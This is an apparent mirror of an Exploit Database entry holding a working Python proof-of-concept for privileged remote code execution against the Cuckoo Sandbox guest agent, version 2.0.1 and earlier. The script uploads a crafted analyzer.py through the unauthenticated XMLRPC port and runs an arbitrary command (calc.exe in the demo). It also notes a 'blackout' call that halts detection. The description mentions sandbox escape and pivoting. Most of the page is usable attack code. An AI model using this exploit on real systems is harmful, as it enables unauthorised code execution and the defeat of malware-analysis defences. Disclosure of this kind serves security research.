Cuckoo Sandbox Guest 2.0.1 – XMLRPC Privileged Remote Code Execution

• Exploit Database
• 111 阅读

• 作者： Rémi ROCHER
  日期： 2016-06-29
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/40043/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82

  # -*- coding: utf8 -*- """ # Exploit Title: Cuckoo Sandbox Guest XMLRPC Privileged RCE PoC # Date: June 28th 2016 # Exploit Author: Rémi ROCHER # Vendor Homepage: https://cuckoosandbox.org/ # Software Link: https://github.com/cuckoosandbox/cuckoo/archive/master.zip # Version: <= 2.0.1 # Tested on: MS Windows 7, MS Windows 10 (With & without UAC) # CVE : None   --[ NAME   Cuckoo Sandbox Guest XMLRPC Privileged RCE PoC   --[ DESCRIPTION   Cuckoo Sandbox is Free Software, basically used by researchers to analyze (potential) malware behavior. It is also implemented industrially by private companies for detecting potential threats within IT Networks featuring dedicated so-called security appliances.   This basic Proof of Concept exploit is spawninga calc.exe process with Administrator privileges, assuming: * The Cuckoo agent.py is running with Admin privileges (should be the case) * The current user can access a local interface (should be the case) * Optional for true Remote Code Execution: External equipment can access the XMLRPC port (default 8000).   One may also call the complete() method in order to stop any further detection or screenshot.   Such vulnerabilities can be used to either trick the very detection system, or potentially escape the sandbox machine itself. An attacker could also exploit such bugs as a pivot in order to attack sensitive systems.   --[ AUTHORS   * Rémi ROCHER - Armature Technologies * Thomas MARTHÉLY- Armature Technologies   --[ RESOURCE * Repository: https://github.com/cuckoosandbox/cuckoo     """ import xmlrpclib from StringIO import StringIO from zipfile import ZipFile, ZipInfo, ZIP_STORED, ZIP_DEFLATED     def execute(x, cmd="cmd /c start"): output = StringIO() file = ZipFile(output, "w", ZIP_STORED) info = ZipInfo("analyzer.py") info.compress_type = ZIP_DEFLATED   content = (""" import subprocess   if __name__ == "__main__": subprocess.Popen("%s",stdout=subprocess.PIPE,stderr=subprocess.PIPE)   """ % cmd) file.writestr(info, content) file.close()   data = xmlrpclib.Binary(output.getvalue())   if x.add_analyzer(data): return x.execute()     if __name__ == "__main__": x = xmlrpclib.ServerProxy("http://localhost:8000") execute(x, "calc.exe") # x.complete() #Blackout mode